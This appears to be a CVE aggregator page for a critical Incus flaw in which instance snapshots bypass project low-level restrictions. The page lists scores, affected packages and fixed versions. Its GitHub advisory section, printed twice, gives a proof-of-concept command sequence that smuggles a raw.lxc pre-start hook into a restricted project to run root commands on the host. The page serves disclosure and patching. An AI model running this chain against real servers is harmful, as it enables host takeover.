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CVE-2026-48751

Incus has a restricted project bypass leading to arbitrary command execution

9.9 CriticalFix available

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.64%Down 0.1 points since Aug 22, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.9

Incus has a restricted project bypass leading to arbitrary command execution

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches the issue.

Record
CVE-2026-48751
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
EUVDEUVD-2026-63978 9.9

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches the issue.

Record
EUVD-2026-63978
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-48q5-w887-33wv 9.9

Incus has a restricted project bypass leading to arbitrary command execution

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

PoC

# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc

Impact

  • Bypass of project restrictions.
  • Arbitrary command execution on the Incus server.
Record
GHSA-48q5-w887-33wv
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
NVD 9.9

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches the issue.

Record
CVE-2026-48751
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
OSVALPINE-CVE-2026-48751 9.9

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches the issue.

Record
ALPINE-CVE-2026-48751
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-03
OSV 9.9

Incus has a restricted project bypass leading to arbitrary command execution

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches the issue.

Record
CVE-2026-48751
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
Show 6 moreShow less
OSVDEBIAN-CVE-2026-48751 9.9

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches the issue.

Record
DEBIAN-CVE-2026-48751
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVGHSA-48q5-w887-33wv 9.9

Incus has a restricted project bypass leading to arbitrary command execution

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

PoC

# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc

Impact

  • Bypass of project restrictions.
  • Arbitrary command execution on the Incus server.
Record
GHSA-48q5-w887-33wv
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-862
Updated
2026-11-02
OSVUBUNTU-CVE-2026-48751 9.9

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches the issue.

Record
UBUNTU-CVE-2026-48751
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVGO-2026-5799 No score

Incus has a restricted project bypass leading to arbitrary command execution in github.com/lxc/incus

Incus has a restricted project bypass leading to arbitrary command execution in github.com/lxc/incus

Record
GO-2026-5799
Updated
2026-11-02
OSVopenSUSE-SU-2026:11651-1 No score

incus-7.4-1.1 on GA media

These are all security issues fixed in the incus-7.4-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11651-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/lxc/incus/v7/cmd/incusd
Go
 before 7.2.0
7.2.0
incus
Alpine:v3.24
 before 7.0.1-r0
7.0.1-r0
incus
Debian:13
 before 6.0.4-2+deb13u8, plus listed versions
6.0.4-26.0.4-2+deb13u16.0.4-2+deb13u1~bpo12+16.0.4-2+deb13u26.0.4-2+deb13u2~bpo12+1
Show 10 moreShow less
6.0.4-2+deb13u36.0.4-2+deb13u3~bpo12+16.0.4-2+deb13u46.0.4-2+deb13u4~bpo12+16.0.4-2+deb13u56.0.4-2+deb13u5~bpo12+16.0.4-2+deb13u66.0.4-2+deb13u6~bpo12+16.0.4-2+deb13u76.0.4-2+deb13u7~bpo12+1
6.0.4-2+deb13u8
incus
Debian:14
 before 7.0.0-5, plus listed versions
6.0.4-26.0.4-36.0.5-16.0.5-26.0.5-3
Show 23 moreShow less
6.0.5-46.0.5-56.0.5-66.0.5-76.0.5-86.0.6-16.0.6-26.0.6-36.14.0-1~exp16.15.0-1~exp16.16.0-1~exp16.17.0-1~exp16.20.0-1~exp16.21.0-1~exp16.22.0-1~exp16.23.0-1~exp17.0.0-17.0.0-1~bpo13+17.0.0-27.0.0-2~bpo13+17.0.0-37.0.0-47.0.0-5~bpo13+1
7.0.0-5
lxd
Debian:12
 All versions, plus listed versions
5.0.2+git20231211.1364ae4-15.0.2+git20231211.1364ae4-25.0.2+git20231211.1364ae4-35.0.2+git20231211.1364ae4-45.0.2+git20231211.1364ae4-5
Show 12 moreShow less
5.0.2+git20231211.1364ae4-65.0.2+git20231211.1364ae4-75.0.2+git20231211.1364ae4-85.0.2+git20231211.1364ae4-95.0.2-55.0.2-5+deb12u15.0.2-5+deb12u25.0.2-5+deb12u35.0.2-5+deb12u45.0.2-5+deb12u55.0.2-5+deb12u65.0.2-6
 None known
lxd
Debian:13
 before 5.0.2+git20231211.1364ae4-9+deb13u7, plus listed versions
5.0.2+git20231211.1364ae4-95.0.2+git20231211.1364ae4-9+deb13u15.0.2+git20231211.1364ae4-9+deb13u25.0.2+git20231211.1364ae4-9+deb13u35.0.2+git20231211.1364ae4-9+deb13u45.0.2+git20231211.1364ae4-9+deb13u55.0.2+git20231211.1364ae4-9+deb13u6
5.0.2+git20231211.1364ae4-9+deb13u7
github.com/lxc/incus
Go
 All versions None known
github.com/lxc/incus/v6
Go
 All versions None known
github.com/lxc/incus/v7
Go
 before 7.2.0
7.2.0
lxd
Ubuntu:Pro:16.04:LTS
 All versions, plus listed versions
0.20-0ubuntu40.21-0ubuntu30.21-0ubuntu50.22-0ubuntu10.22-0ubuntu2
Show 45 moreShow less
0.23-0ubuntu10.23-0ubuntu20.23-0ubuntu30.24-0ubuntu20.24-0ubuntu30.24-0ubuntu40.25-0ubuntu10.26-0ubuntu20.26-0ubuntu30.27-0ubuntu10.27-0ubuntu22.0.0~beta1-0ubuntu32.0.0~beta1-0ubuntu42.0.0~beta2-0ubuntu12.0.0~beta2-0ubuntu22.0.0~beta3-0ubuntu12.0.0~beta3-0ubuntu22.0.0~beta3-0ubuntu32.0.0~beta3-0ubuntu42.0.0~beta4-0ubuntu12.0.0~beta4-0ubuntu22.0.0~beta4-0ubuntu32.0.0~beta4-0ubuntu42.0.0~beta4-0ubuntu52.0.0~beta4-0ubuntu62.0.0~beta4-0ubuntu72.0.0~rc1-0ubuntu12.0.0~rc1-0ubuntu22.0.0~rc1-0ubuntu32.0.0~rc2-0ubuntu22.0.0~rc2-0ubuntu32.0.0~rc3-0ubuntu12.0.0~rc3-0ubuntu22.0.0~rc3-0ubuntu32.0.0~rc3-0ubuntu42.0.0~rc4-0ubuntu12.0.0~rc5-0ubuntu12.0.0~rc6-0ubuntu12.0.0~rc6-0ubuntu22.0.0~rc7-0ubuntu12.0.0~rc7-0ubuntu22.0.0~rc8-0ubuntu12.0.0~rc8-0ubuntu22.0.0~rc8-0ubuntu32.0.0~rc8-0ubuntu5
 None known
Show 8 moreShow less
Affected packages
PackageAffectedFixed
lxd
Ubuntu:Pro:18.04:LTS
 All versions, plus listed versions
2.18-0ubuntu62.19-0ubuntu12.20-0ubuntu32.20-0ubuntu42.21-0ubuntu1
Show 18 moreShow less
2.21-0ubuntu22.21-0ubuntu32.21-0ubuntu43.0.0~beta2-0ubuntu33.0.0~beta3-0ubuntu33.0.0~beta5-0ubuntu23.0.0~beta7-0ubuntu13.0.0-0ubuntu13.0.0-0ubuntu23.0.0-0ubuntu33.0.0-0ubuntu43.0.1-0ubuntu1~18.04.13.0.2-0ubuntu1~18.04.13.0.3-0ubuntu1~18.04.13.0.3-0ubuntu1~18.04.23.0.3-0ubuntu1~18.04.2+esm13.0.3-0ubuntu1~18.04.2+esm23.0.3-0ubuntu1~18.04.2+esm3
 None known
lxd
Ubuntu:20.04:LTS
 All versions, plus listed versions
1:0.71:0.81:0.91:0.10
 None known
incus
Ubuntu:Pro:24.04:LTS
 All versions, plus listed versions
0.4-1ubuntu10.5.1-10.5.1-30.6-16.0.0-1
Show 7 moreShow less
6.0.0-1ubuntu0.16.0.0-1ubuntu0.26.0.0-1ubuntu0.2+esm16.0.0-1ubuntu0.36.0.0-1ubuntu0.3+esm16.0.0-1ubuntu0.3+esm26.0.0-1ubuntu0.3+esm3
 None known
incus
Ubuntu:25.10
 All versions, plus listed versions
6.0.3-46.0.4-2
 None known
incus
Ubuntu:26.10
 All versions, plus listed versions
6.0.5-87.0.1-5
 None known
incus
Ubuntu:Pro:26.04:LTS
 All versions, plus listed versions
6.0.4-26.0.5-86.0.5-8ubuntu0.26.04.1~esm1
 None known
incus
openSUSE:Tumbleweed
 before 7.4-1.1
7.4-1.1
govulncheck-vulndb
openSUSE:Leap 16.0
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, aliases, referencesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-48751 is a critical vulnerability (CVSS 9.9) in Lxc Incus, published June 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.64%, the 50th percentile. Fixed in github.com/lxc/incus/v7/cmd/incusd 7.2.0.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 26 versions, 1,555 references and the rest of 1 source description. The JSON record has them.

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